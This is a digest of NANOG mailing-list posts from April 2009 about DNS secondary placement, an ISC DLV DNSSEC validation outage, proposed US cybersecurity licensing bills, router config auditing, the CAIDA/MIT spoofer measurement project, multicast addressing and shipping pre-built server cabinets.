<87skkouioh.fsf@mid.deneb.enyo.de> * Randy Bush: >> IMHO, fate-sharing as a strategy for increasing availability is >> somewhat underrated. > > from rfc 2182 Randy, I didn't write, "don't keep off-site name servers". I wrote, "keep on-site name servers, even if you pay for off-site name service". > 3.3. A Myth Exploded > + While positive DNS results are usually cached, the lack of a > result is not cached. Thus, unnecessary inability to resolve > creates an undesirable load on the net. This has been corrected in some implementations since then. > It is important that there be nameservers able to be queried, > available always, for all forward zones. Not answering crap queries (such as queries to addresses for which the resolver has a good reason to believe that they are still unreachable) tends to increase network load, but in some cases, it's the only way to make people notice the problem (like flooding servers with identical queries at an 1/RTT rate). It pushes some of the hurt to a place where it can be addressed. But looking back at incidents such as the Zonelabs/Abovenet issue, your advice is correct for the network we have today. However, we're really covering up a resolver implementation issue, nothing more. From randy at psg.com Sat Apr 4 18:20:16 2009 From: randy at psg.com (Randy Bush) Date: Sun, 05 Apr 2009 08:20:16 +0900 Subject: Register.com DNS hosting issues In-Reply-To: <87skkouioh.fsf@mid.deneb.enyo.de> References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> <49D67225.7000400@thewybles.com> <874ox4vyp0.fsf@mid.deneb.enyo.de> <87skkouioh.fsf@mid.deneb.enyo.de> Message-ID: > But looking back at incidents such as the Zonelabs/Abovenet issue, > your advice is correct for the network we have today. as that rfc is over a decade old, i am not optimistic that change is neigh . and it is amusing to see ;; ANSWER SECTION: harvard.edu. 10794 IN NS ns2.harvard.edu. harvard.edu. 10794 IN NS ns3.br.harvard.edu. harvard.edu. 10794 IN NS ns.harvard.edu. harvard.edu. 10794 IN NS ns1.harvard.edu. ;; ADDITIONAL SECTION: ns.harvard.edu. 10794 IN A 128.103.201.100 ns1.harvard.edu. 10794 IN A 128.103.200.101 ns2.harvard.edu. 10794 IN A 128.103.1.1 ns3.br.harvard.edu. 10794 IN A 128.119.3.170 and ;; ANSWER SECTION: mit.edu. 21600 IN NS STRAWB.mit.edu. mit.edu. 21600 IN NS W20NS.mit.edu. mit.edu. 21600 IN NS BITSY.mit.edu. ;; ADDITIONAL SECTION: BITSY.mit.edu. 21600 IN A 18.72.0.3 STRAWB.mit.edu. 21600 IN A 18.71.0.151 W20NS.mit.edu. 21600 IN A 18.70.0.160 but microsoft/hotmail learned the lesson the hard way, if you remember, and look to have reasonable looking deployment, though i have not looked at traceroutes. randy From fw at deneb.enyo.de Sat Apr 4 18:40:42 2009 From: fw at deneb.enyo.de (Florian Weimer) Date: Sun, 05 Apr 2009 01:40:42 +0200 Subject: Register.com DNS hosting issues In-Reply-To: (Randy Bush's message of "Sun, 05 Apr 2009 08:20:16 +0900") References: <3C5B084431653D4A9C469A22AFCDB5B903187862@LOGAN.billtrust.local> <49D665D3.6010701@linktechs.net> <3C5B084431653D4A9C469A22AFCDB5B90318786D@LOGAN.billtrust.local> <49D66E01.6060502@rollernet.us> <49D67225.7000400@thewybles.com> <874ox4vyp0.fsf@mid.deneb.enyo.de> <87skkouioh.fsf@mid.deneb.enyo.de> Message-ID: <87iqlkugw5.fsf@mid.deneb.enyo.de> * Randy Bush: >> But looking back at incidents such as the Zonelabs/Abovenet issue, >> your advice is correct for the network we have today. > > as that rfc is over a decade old, i am not optimistic that change is > neigh . DNSSEC obscures quite a few failures which can hit secondaries. I think it changes the cost/benefit ratio of additional name service somewhat. Without DNSSEC, it's just another party who can redirect your traffic to Elbonia, so I understand if folks are quite conservative about it. From schnizlein at isoc.org Sat Apr 4 19:20:22 2009 From: schnizlein at isoc.org (John Schnizlein) Date: Sat, 4 Apr 2009 20:20:22 -0400 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> Message-ID: I suggest that we wait until the actual text of S.778 actually shows up at http://thomas.loc.gov before reacting to hyperbolic analysis of drafts not actually assigned to the Committee on Homeland Security and Governmental Affairs. Although I am concerned with what has been attributed to this bill, not all drafts seem to contain the worst text. Once the Committee takes up the bill, the most effective way to fix or kill it is for the constituents of the members of that Committee to call or write them: http://hsgac.senate.gov/public/index.cfm?Fuseaction=About.Membership John On 2009Apr4, at 6:46 AM, Suresh Ramasubramanian wrote: > On Sat, Apr 4, 2009 at 2:33 PM, Jeff Young wrote: >> This comes from Lauren Weinstein's list and it's worth a read. >> It's a bill introduced into legislation, who knows where and when >> and if it will become law but, wow. >> >> http://lauren.vortex.com/Cyber-S-2009.pdf > > Relying on Lauren to hear about cybersecurity related news is like > relying on Fox News for an accurate picture of what Obama is doing. > Ignore. > >> I'll just give you a teaser: >> >> SEC. 9. SECURE DOMAIN NAME ADDRESSING SYSTEM. > > There's more than enough government supported work going on that > promotes DNSSEC, in case you're not aware? > >> Other pearls of wisdom: the government will license all "cyber" >> security >> folks and you don't work on government or "any network deemed by >> the president to be critical infrastructure" without one. > > Do you by any chance get to go work on sensitive government networks > without, say, a security clearance? > > --srs > From tdurack at gmail.com Sat Apr 4 20:52:19 2009 From: tdurack at gmail.com (Tim Durack) Date: Sat, 4 Apr 2009 21:52:19 -0400 Subject: Nipper and Cisco configuration results In-Reply-To: References: <897202.72354.qm@web30803.mail.mud.yahoo.com> Message-ID: <9e246b4d0904041852k5aaeeb0bq39b9cbbd4c4744a8@mail.gmail.com> > The problem I have with both RAT and Nipper is they're geared towards > security and I'm more interested in verifying that the routers are > configured correctly. ?What kind of tools are people using for that? > For an example of the type of thing I'm interested in, see > filter_audit in the presentation at > http://www.nanog.org/mtg-0210/abley.html Homebrew: pull configs on a regular basis. Decompose monolithic configs into a file tree of "configlets." Diff configlet tree against peer and template devices. "Invert" device specific configlet tree into element specific tree. This helps diffs stand out for config elements that should be consistent. Put it all into a git repository for revision control. Run git-web for the user interface. Catches most of the obvious stuff, and gives a nice history of changes. The configlet tree also gets used for "grep | xarg" style pipelines for automation scripts. Would like to improve the diff process to mask out common information (ip address, hsrp priority etc.) This would help reduce the amount of diff noise for interfaces. We looked at free (RANCID, Ziptie) and expen$ive (Opsware) but none of them really did what we wanted. Tim:> From marc at sans.org Sat Apr 4 21:57:34 2009 From: marc at sans.org (Marcus H. Sachs) Date: Sat, 04 Apr 2009 22:57:34 -0400 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> Message-ID: <17f901c9b59a$45339810$cf9ac830$@org> Wrong bill. You want S.773, not S.778. There were two bills introduced concerning cyber security. The one that has everybody talking is S.773. S.778 concerns the creation of the Office of National Cybersecurity Advisor within the Executive Office of the President. S.773 Title: A bill to ensure the continued free flow of commerce within the United States and with its global trading partners through secure cyber communications, to provide for the continued development and exploitation of the Internet and intranet communications for such purposes, to provide for the development of a cadre of information technology specialists to improve and maintain effective cybersecurity defenses against disruption, and for other purposes. Sponsor: Sen Rockefeller, John D., IV [WV] (introduced 4/1/2009) Cosponsors (3) Latest Major Action: 4/1/2009 Referred to Senate committee. Status: Read twice and referred to the Committee on Commerce, Science, and Transportation. S.778 Title: A bill to establish, within the Executive Office of the President, the Office of National Cybersecurity Advisor. Sponsor: Sen Rockefeller, John D., IV [WV] (introduced 4/1/2009) Cosponsors (3) Latest Major Action: 4/1/2009 Referred to Senate committee. Status: Read twice and referred to the Committee on Homeland Security and Governmental Affairs. Marc -- Marc Sachs Director, SANS ISC -----Original Message----- From: John Schnizlein [mailto:schnizlein at isoc.org] Sent: Saturday, April 04, 2009 8:20 PM To: Suresh Ramasubramanian Cc: nanog at nanog.org; Jeff Young Subject: Re: Wow, just when you though big government was someone else's problem I suggest that we wait until the actual text of S.778 actually shows up at http://thomas.loc.gov before reacting to hyperbolic analysis of drafts not actually assigned to the Committee on Homeland Security and Governmental Affairs. Although I am concerned with what has been attributed to this bill, not all drafts seem to contain the worst text. Once the Committee takes up the bill, the most effective way to fix or kill it is for the constituents of the members of that Committee to call or write them: http://hsgac.senate.gov/public/index.cfm?Fuseaction=About.Membership John On 2009Apr4, at 6:46 AM, Suresh Ramasubramanian wrote: > On Sat, Apr 4, 2009 at 2:33 PM, Jeff Young wrote: >> This comes from Lauren Weinstein's list and it's worth a read. >> It's a bill introduced into legislation, who knows where and when >> and if it will become law but, wow. >> >> http://lauren.vortex.com/Cyber-S-2009.pdf > > Relying on Lauren to hear about cybersecurity related news is like > relying on Fox News for an accurate picture of what Obama is doing. > Ignore. > >> I'll just give you a teaser: >> >> SEC. 9. SECURE DOMAIN NAME ADDRESSING SYSTEM. > > There's more than enough government supported work going on that > promotes DNSSEC, in case you're not aware? > >> Other pearls of wisdom: the government will license all "cyber" >> security >> folks and you don't work on government or "any network deemed by >> the president to be critical infrastructure" without one. > > Do you by any chance get to go work on sensitive government networks > without, say, a security clearance? > > --srs > From mgardini at gmail.com Sat Apr 4 23:55:44 2009 From: mgardini at gmail.com (Marcelo Gardini do Amaral) Date: Sun, 5 Apr 2009 01:55:44 -0300 Subject: ISC DLV Message-ID: Guys, are you having problems to validate DNSEC using ISC DLV? Regards, -- Marcelo Gardini do Amaral www.spin.blog.br -- $>cd /pub $>more beer From jeff at ocjtech.us Sun Apr 5 00:03:09 2009 From: jeff at ocjtech.us (Jeffrey Ollie) Date: Sun, 5 Apr 2009 00:03:09 -0500 Subject: ISC DLV In-Reply-To: References: Message-ID: <935ead450904042203w358075a1ia5a694673a4d486f@mail.gmail.com> On Sat, Apr 4, 2009 at 11:55 PM, Marcelo Gardini do Amaral wrote: > > are you having problems to validate DNSEC using ISC DLV? Yes, I had to disable DNSSEC validation a few hours ago to get DNS resolution operating again. -- Jeff Ollie From fergdawgster at gmail.com Sun Apr 5 00:09:03 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Sat, 4 Apr 2009 22:09:03 -0700 Subject: ISC DLV In-Reply-To: References: Message-ID: <6cd462c00904042209n13a44b2dk4a6356f2799008ee@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sat, Apr 4, 2009 at 9:55 PM, Marcelo Gardini do Amaral wrote: > Guys, > > are you having problems to validate DNSEC using ISC DLV? > No idea, but I did see another reference to this over on the OARC dns-ops list: https://lists.dns-oarc.net/pipermail/dns-operations/2009-April/003726.html - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ2Dzoq1pz9mNUZTMRAvanAKCmR4CF7qVKC8XE9qpsM62EQHbVgQCgh1oO A3pBEoMDGY30bS57WzhfAyQ= =UnS+ -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From vixie at isc.org Sun Apr 5 02:00:53 2009 From: vixie at isc.org (Paul Vixie) Date: Sun, 05 Apr 2009 07:00:53 +0000 Subject: ISC DLV In-Reply-To: <6cd462c00904042209n13a44b2dk4a6356f2799008ee@mail.gmail.com> (Paul Ferguson's message of "Sat\, 4 Apr 2009 22\:09\:03 -0700") References: <6cd462c00904042209n13a44b2dk4a6356f2799008ee@mail.gmail.com> Message-ID: Paul Ferguson writes: > On Sat, Apr 4, 2009 at 9:55 PM, Marcelo Gardini do Amaral > wrote: > >> Guys, >> >> are you having problems to validate DNSEC using ISC DLV? >> > > No idea, but I did see another reference to this over on the OARC dns-ops > list: > > https://lists.dns-oarc.net/pipermail/dns-operations/2009-April/003726.html note, this isn't a ddos, so it's probably not related to the other dns ddos events that have been discussed here recently. see also geoff's reply on that thread: Date: Sat, 04 Apr 2009 23:15:55 -0700 From: "Geoffrey Sisson" To: dns-operations at lists.dns-oarc.net Subject: Re: [dns-operations] ISC DLV broken? Sender: dns-operations-bounces at lists.dns-oarc.net mvn at ucla.edu (Michael Van Norman) wrote: > Starting a bit after 18:00, my home machines starting failing DNSSEC > validation using the ISC DLV. ... > Are other people seeing this? Yes, starting at around the same time (PDT). Peter_Losher at isc.org (Peter Losher) wrote: > ISC is aware that there is a issue with lookups against dlv.isc.org and > are investigating the cause behind it. You may want to disable DNSSEC > validation against dlv.isc.org at this time. It appears as if the RRSIG RRset returned by the DLV nameservers for "dlv.isc.org" is missing the RRSIG for the KSK, so validation for dlv.isc.org is failing. It _does_ contain the RRSIG for the ZSK (key id 64263). As a test I tried changing the trusted key to the ZSK, and DLV validation appeared to work correctly. This is, of course, not a recommended work-around. Geoff _______________________________________________ dns-operations mailing list dns-operations at lists.dns-oarc.net https://lists.dns-oarc.net/mailman/listinfo/dns-operations From Valdis.Kletnieks at vt.edu Sun Apr 5 03:13:05 2009 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sun, 05 Apr 2009 04:13:05 -0400 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: Your message of "Sat, 04 Apr 2009 16:16:24 +0530." References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> Message-ID: <125734.1238919185@turing-police.cc.vt.edu> On Sat, 04 Apr 2009 16:16:24 +0530, Suresh Ramasubramanian said: > Do you by any chance get to go work on sensitive government networks > without, say, a security clearance? What the draft actually says: SEC. 7. LICENSING AND CERTIFICATION OF CYBERSECURITY PROFESSIONALS. (a) IN GENERAL. - Within 1 year after the date of enactment of this Act, the Secretary of Commerce shall develop or coordinate and integrate a national licensing, certification, and periodic recertification program for cybersecurity professionals. (b) MANDATORY LICENSING. - Beginning 3 years after the date of enactment of this Act, it shall be unlawful for any individual to engage in business in the United States, or to be employed in the United States, as a provider of cybersecurity services to any Federal agency or an information system or network designated by the President, or the President's designee, as a critical infrastructure information system or network, who is not licensed and certified under the program. A few thoughts: 1) Somebody's going to make a mint of money doing certification testing. 2) Somebody's network is going to be left flapping in the breeze because their provider didn't get certified in time. 3) It's interesting that "providers of cybersecurity services" have to be licensed, although others who do security-relevant work on the system/net don't have to be - nor do they define what a "provider of cybersecurity services" is. So - quick show of hands: If you have a net that this applies to, do you know which of your engineers do/don't need a cert? ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From Mark_Andrews at isc.org Sun Apr 5 04:37:15 2009 From: Mark_Andrews at isc.org (Mark Andrews) Date: Sun, 05 Apr 2009 19:37:15 +1000 Subject: ISC DLV In-Reply-To: Your message of "Sun, 05 Apr 2009 01:55:44 -0300." Message-ID: <200904050937.n359bFhs078024@drugs.dv.isc.org> In message , Marce lo Gardini do Amaral writes: > Guys, > > are you having problems to validate DNSEC using ISC DLV? > > Regards, > > -- > Marcelo Gardini do Amaral > www.spin.blog.br The fault has been rectified. We are still looking into the underlying cause and what procedural changes need to be made to prevent a repeat occurance. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews at isc.org From bmanning at vacation.karoshi.com Sun Apr 5 05:09:31 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Sun, 5 Apr 2009 10:09:31 +0000 Subject: ISC DLV In-Reply-To: <200904050937.n359bFhs078024@drugs.dv.isc.org> References: <200904050937.n359bFhs078024@drugs.dv.isc.org> Message-ID: <20090405100931.GA31202@vacation.karoshi.com.> On Sun, Apr 05, 2009 at 07:37:15PM +1000, Mark Andrews wrote: > > The fault has been rectified. We are still looking into the > underlying cause and what procedural changes need to be made to > prevent a repeat occurance. > > Mark Andrews, ISC could ISC be a bit more open and transparent on what the underlying cause was, the path/steps between cause and effect, and the range of options/choices for mitigation and why the one chosen (presuming it was a procedural issue) was/is the best choice. --bill From schnizlein at isoc.org Sun Apr 5 10:58:50 2009 From: schnizlein at isoc.org (John Schnizlein) Date: Sun, 5 Apr 2009 11:58:50 -0400 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: <17f901c9b59a$45339810$cf9ac830$@org> References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> <17f901c9b59a$45339810$cf9ac830$@org> Message-ID: <97171C63-0329-4EB2-B69E-19CF6BD6E13C@isoc.org> Maybe. There was enough scary stuff in a draft of S.778, and its title in some of the worry on the Web that both probably need to be watched. Having one bill referred to Commerce... and one to Homeland Security ... does entail a two-front war. John On 2009Apr4, at 10:57 PM, Marcus H. Sachs wrote: > Wrong bill. You want S.773, not S.778. There were two bills > introduced > concerning cyber security. The one that has everybody talking is S. > 773. > S.778 concerns the creation of the Office of National Cybersecurity > Advisor > within the Executive Office of the President. > > S.773 > Title: A bill to ensure the continued free flow of commerce within the > United States and with its global trading partners through secure > cyber > communications, to provide for the continued development and > exploitation of > the Internet and intranet communications for such purposes, to > provide for > the development of a cadre of information technology specialists to > improve > and maintain effective cybersecurity defenses against disruption, > and for > other purposes. > Sponsor: Sen Rockefeller, John D., IV [WV] (introduced 4/1/2009) > Cosponsors (3) > Latest Major Action: 4/1/2009 Referred to Senate committee. Status: > Read > twice and referred to the Committee on Commerce, Science, and > Transportation. > > S.778 > Title: A bill to establish, within the Executive Office of the > President, > the Office of National Cybersecurity Advisor. > Sponsor: Sen Rockefeller, John D., IV [WV] (introduced 4/1/2009) > Cosponsors (3) > Latest Major Action: 4/1/2009 Referred to Senate committee. Status: > Read > twice and referred to the Committee on Homeland Security and > Governmental > Affairs. > > > Marc > > -- > Marc Sachs > Director, SANS ISC > > > -----Original Message----- > From: John Schnizlein [mailto:schnizlein at isoc.org] > Sent: Saturday, April 04, 2009 8:20 PM > To: Suresh Ramasubramanian > Cc: nanog at nanog.org; Jeff Young > Subject: Re: Wow, just when you though big government was someone > else's > problem > > I suggest that we wait until the actual text of S.778 actually shows > up at http://thomas.loc.gov before reacting to hyperbolic analysis of > drafts not actually assigned to the Committee on Homeland Security and > Governmental Affairs. Although I am concerned with what has been > attributed to this bill, not all drafts seem to contain the worst > text. Once the Committee takes up the bill, the most effective way to > fix or kill it is for the constituents of the members of that > Committee to call or write them: > http://hsgac.senate.gov/public/index.cfm?Fuseaction=About.Membership > > John > > On 2009Apr4, at 6:46 AM, Suresh Ramasubramanian wrote: > >> On Sat, Apr 4, 2009 at 2:33 PM, Jeff Young wrote: >>> This comes from Lauren Weinstein's list and it's worth a read. >>> It's a bill introduced into legislation, who knows where and when >>> and if it will become law but, wow. >>> >>> http://lauren.vortex.com/Cyber-S-2009.pdf >> >> Relying on Lauren to hear about cybersecurity related news is like >> relying on Fox News for an accurate picture of what Obama is doing. >> Ignore. >> >>> I'll just give you a teaser: >>> >>> SEC. 9. SECURE DOMAIN NAME ADDRESSING SYSTEM. >> >> There's more than enough government supported work going on that >> promotes DNSSEC, in case you're not aware? >> >>> Other pearls of wisdom: the government will license all "cyber" >>> security >>> folks and you don't work on government or "any network deemed by >>> the president to be critical infrastructure" without one. >> >> Do you by any chance get to go work on sensitive government networks >> without, say, a security clearance? >> >> --srs >> > > > > From drc at virtualized.org Sun Apr 5 11:19:35 2009 From: drc at virtualized.org (David Conrad) Date: Sun, 5 Apr 2009 06:19:35 -1000 Subject: ISC DLV In-Reply-To: <20090405100931.GA31202@vacation.karoshi.com.> References: <200904050937.n359bFhs078024@drugs.dv.isc.org> <20090405100931.GA31202@vacation.karoshi.com.> Message-ID: On Apr 5, 2009, at 12:09 AM, bmanning at vacation.karoshi.com wrote: > On Sun, Apr 05, 2009 at 07:37:15PM +1000, Mark Andrews wrote: >> >> The fault has been rectified. We are still looking into the >> underlying cause and what procedural changes need to be made to >> prevent a repeat occurance. >> >> Mark Andrews, ISC > > could ISC be a bit more open and transparent on what the > underlying cause was, the path/steps between cause and effect, > and the range of options/choices for mitigation and why the > one chosen (presuming it was a procedural issue) was/is the > best choice. You should definitely demand your money back. Given the root servers don't provide this level of accountability, not sure why you think ISC should. Stuff happens. If you've chosen to share fate with ISC for name resolution via DLV, then you should accept that it does and anticipate these sorts of outages. I'm sure the folks at ISC will attempt to minimize reoccurrence. Regards, -drc From mbarker at cyrusnetworks.com Sun Apr 5 11:58:50 2009 From: mbarker at cyrusnetworks.com (Michael Barker) Date: Sun, 5 Apr 2009 12:58:50 -0400 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: <125734.1238919185@turing-police.cc.vt.edu> References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> <125734.1238919185@turing-police.cc.vt.edu> Message-ID: <99D09C7C026C2942AAE6F2E7EC01CDC91CD4407DE4@Server12.cmh.cyrusnetworks.com> Seems like they're following up on Department of Defense Directive 8570.01, whereas all Information Assurance personnel (that being defined as anyone with privileged access) are required to be certified. Fully policy manual is here. http://www.dtic.mil/whs/directives/corres/pdf/857001m.pdf -----Original Message----- From: Valdis.Kletnieks at vt.edu [mailto:Valdis.Kletnieks at vt.edu] Sent: Sunday, April 05, 2009 4:13 AM To: Suresh Ramasubramanian Cc: nanog at nanog.org; Jeff Young Subject: Re: Wow, just when you though big government was someone else's problem On Sat, 04 Apr 2009 16:16:24 +0530, Suresh Ramasubramanian said: > Do you by any chance get to go work on sensitive government networks > without, say, a security clearance? What the draft actually says: SEC. 7. LICENSING AND CERTIFICATION OF CYBERSECURITY PROFESSIONALS. (a) IN GENERAL. - Within 1 year after the date of enactment of this Act, the Secretary of Commerce shall develop or coordinate and integrate a national licensing, certification, and periodic recertification program for cybersecurity professionals. (b) MANDATORY LICENSING. - Beginning 3 years after the date of enactment of this Act, it shall be unlawful for any individual to engage in business in the United States, or to be employed in the United States, as a provider of cybersecurity services to any Federal agency or an information system or network designated by the President, or the President's designee, as a critical infrastructure information system or network, who is not licensed and certified under the program. A few thoughts: 1) Somebody's going to make a mint of money doing certification testing. 2) Somebody's network is going to be left flapping in the breeze because their provider didn't get certified in time. 3) It's interesting that "providers of cybersecurity services" have to be licensed, although others who do security-relevant work on the system/net don't have to be - nor do they define what a "provider of cybersecurity services" is. So - quick show of hands: If you have a net that this applies to, do you know which of your engineers do/don't need a cert? ;) From kc at caida.org Sun Apr 5 12:08:13 2009 From: kc at caida.org (k claffy) Date: Sun, 5 Apr 2009 10:08:13 -0700 Subject: Spoofer project update -- need 3-5 minutes of your time to test In-Reply-To: <20090331153618.GA5260@rbeverly.net> References: <20090331153618.GA5260@rbeverly.net> Message-ID: <20090405170813.GA29428@rommie.caida.org> < a call to fingers > please run this test if you haven't already. we're trying to get a 2009 baseline on filtering. i've blogged a reminder at: http://blog.caida.org/best_available_data/2009/04/05/spoofer-measure-your-networks-hygiene/ and will post results there (and here) too, once we have some. if you run into any problems, email us. Internet science: can't do it without you, yada. k ps: if you want to host an Ark node so we can test topology near you in the future, read http://www.caida.org/projects/ark/siteinfo.xml and send us mail. On Tue, Mar 31, 2009 at 11:36:18AM -0400, Robert Beverly wrote: Hi, as many of you are acutely aware, IP source spoofing is still a common attack vector. The ANA spoofer project: http://spoofer.csail.mit.edu first began quantifying the extent of source verification in 2005. We've amassed several years worth of data -- data that has become particularly interesting in light of recent attacks. However, our data raised as many questions as it answered. Hence, we have developed a new version of the tester designed to answer these questions and improve our Internet-wide inferences. What's New: In addition to new tests, we've hooked into CAIDA's Ark infrastructure which allows us to perform multiple path-based measurements. This information is presented to the client now in visual form; see the screenshots for an example report: http://spoofer.csail.mit.edu/example/example.php How you can help: Simple -- take a few minutes to download and run the tester. The more points you can run the tester from, the better. Comments/Flames: Welcome, and we appreciate all feedback. Be sure to read the FAQ: http://spoofer.csail.mit.edu/faq.php Many thanks, rob From bmanning at vacation.karoshi.com Sun Apr 5 13:34:51 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Sun, 5 Apr 2009 18:34:51 +0000 Subject: ISC DLV In-Reply-To: References: <200904050937.n359bFhs078024@drugs.dv.isc.org> <20090405100931.GA31202@vacation.karoshi.com.> Message-ID: <20090405183451.GA1188@vacation.karoshi.com.> On Sun, Apr 05, 2009 at 06:19:35AM -1000, David Conrad wrote: > On Apr 5, 2009, at 12:09 AM, bmanning at vacation.karoshi.com wrote: > >On Sun, Apr 05, 2009 at 07:37:15PM +1000, Mark Andrews wrote: > >> > >>The fault has been rectified. We are still looking into the > >>underlying cause and what procedural changes need to be made to > >>prevent a repeat occurance. > >> > >>Mark Andrews, ISC > > > > could ISC be a bit more open and transparent on what the > > underlying cause was, the path/steps between cause and effect, > > and the range of options/choices for mitigation and why the > > one chosen (presuming it was a procedural issue) was/is the > > best choice. > > You should definitely demand your money back. Given the root servers > don't provide this level of accountability, not sure why you think ISC > should. i think I shall.. as far as I can tell, the root server operators have never claimed their services/operations are open & transparent. ISC (well Paul on behalf of ISC) has claimed they are open and transparent. > Stuff happens. If you've chosen to share fate with ISC for name > resolution via DLV, then you should accept that it does and anticipate > these sorts of outages. I'm sure the folks at ISC will attempt to > minimize reoccurrence. in fact it does. that does not negate the desire to know -WHY- stuff happens - a few of us are less than happy with a "it was broke, we fixed it, we'll try not to let it happen again" explaination. in this regard, I have been very impressed with Rich's documentation of the IANA alternate root. the processes are well documented and clear ... and to date, he's been pretty responsive when hicups occur and provides prompt feedback. > Regards, > -drc From Valdis.Kletnieks at vt.edu Sun Apr 5 16:13:56 2009 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Sun, 05 Apr 2009 17:13:56 -0400 Subject: Wow, just when you though big government was someone else's problem In-Reply-To: Your message of "Sun, 05 Apr 2009 12:58:50 EDT." <99D09C7C026C2942AAE6F2E7EC01CDC91CD4407DE4@Server12.cmh.cyrusnetworks.com> References: <8ADD0F29-F0D6-4346-93E5-45656FD6B928@jsyoung.net> <125734.1238919185@turing-police.cc.vt.edu> <99D09C7C026C2942AAE6F2E7EC01CDC91CD4407DE4@Server12.cmh.cyrusnetworks.com> Message-ID: <161704.1238966036@turing-police.cc.vt.edu> On Sun, 05 Apr 2009 12:58:50 EDT, Michael Barker said: > Seems like they're following up on Department of Defense Directive 8570.01, > whereas all Information Assurance personnel (that being defined as anyone > with privileged access) are required to be certified. Sort of what I was worried about - "Providers of cybersecurity services" and "has privileged access" aren't exactly the same thing. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From vixie at isc.org Sun Apr 5 16:38:48 2009 From: vixie at isc.org (Paul Vixie) Date: Sun, 05 Apr 2009 21:38:48 +0000 Subject: ISC DLV In-Reply-To: (David Conrad's message of "Sun\, 5 Apr 2009 06\:19\:35 -1000") References: <200904050937.n359bFhs078024@drugs.dv.isc.org> <20090405100931.GA31202@vacation.karoshi.com.> Message-ID: David Conrad writes: > ... I'm sure the folks at ISC will attempt to minimize reoccurrence. yes. though with two outages in the last month, some early DLV adopters might be getting a bit nervous. as with DNSSEC itself when folks first started turning it on a few years ago, the failure codepaths for DLV are inevitably not as well oiled as the success codepaths. (we're on it.) -- Paul Vixie From Ryan.Landry at TELUS.COM Mon Apr 6 12:51:19 2009 From: Ryan.Landry at TELUS.COM (Ryan Landry) Date: Mon, 6 Apr 2009 11:51:19 -0600 Subject: eGLOP and/or 232/8 question (SSM) Message-ID: i apologize if this has been discussed...searching mboned/nanog/ietf/arin/etc archives doesn't give me the clarification i hoped for. is there a defined method to request eGLOP space? does anyone really care what people use internally for mcast? i see mr. eubanks submitted a proposal back in 2007 for eGLOP assignment process and ARIN shot it down, but i can't seem to find current status. i've exhausted my 233/8 space and i'm moving to SSM (iptv). SSM is defined as 232/8, but is using that really necessary (technicalities aside)? if i do indeed move to 232/8, would it make the most sense to have my sources live in publicly assigned space for possible advertising in the future? mostly looking for what others have done as best-practice and future-proofing here... thanks kindly for on/off-list replies. ryanL iptv guy From jabley at hopcount.ca Mon Apr 6 13:46:35 2009 From: jabley at hopcount.ca (Joe Abley) Date: Mon, 6 Apr 2009 14:46:35 -0400 Subject: shipping pre-built cabinets vs. build-on-site Message-ID: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Hi all, Anybody here have experience shipping pre-built cabinets, with ~20U of routers and servers installed, connected and tested, to remote sites for deployment? The idea is to increase the consistency of the deployments by having them all built in one place by the same set of people, and to reduce the amount of time required by warm bodies on-site (bodies that would otherwise have to receive individual components and install/cable them). We've located a few vendors who sell shock-tolerant cabinets, but they're expensive and seem to me to be aimed at people who need to ship a set of equipment frequently (e.g. to support movie shoots, outside broadcasts, etc), rather than people who want to ship just once. The destination in all cases would be a commercial, modern data centre. The equipment would be shipped from LA. Do I even need to spend time wondering about shock-tolerant cabinets, or should I instead be concentrating on finding the right company to wrap the cabinets for shipping, and to do the shipping itself? Joe From rgolodner at infratection.com Mon Apr 6 14:02:50 2009 From: rgolodner at infratection.com (Richard Golodner) Date: Mon, 6 Apr 2009 14:02:50 -0500 Subject: shipping pre-built cabinets vs. build-on-site In-Reply-To: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> References: <8034EE7F-FACC-45A4-B5AE-1D9B53C18D43@hopcount.ca> Message-ID: <008101c9b6ea$491d4fb0$db57ef10$@com> Joe asked today: " Do I even need to spend time wondering about shock-tolerant cabinets, or should I instead be concentrating on finding the right company to wrap the cabinets for shipping, and to do the shipping itself?" Joe, after having done a lot of this I found it was very expensive to find shock proof cabinets and a good air freight shipper. Any shipper of electronic goods will understand the requirements needed to protect their (your) cargo. It is costly for them to have damages occur in shipping which is why a good company will go the extra mile. Cushioned pallet wraps, additional padding and so forth come with the service you purchase. For my company, the bottom line was that it seemed redundant to pay for insurance, which is a must and have the racks built into shockproof cabinets. The cabinets were not needed at the data centers, so we called it overkill and have never had any problems with the company we used. Your stuff is departing from LAX I would imagine. If you need a recommendation or just some names so you can look for yourself, please feel free to contact me off list. I hope this helps everyone a bit. Sincerely, Richard Golodner From beckman at angryox.com Mon Apr 6 14:06:10 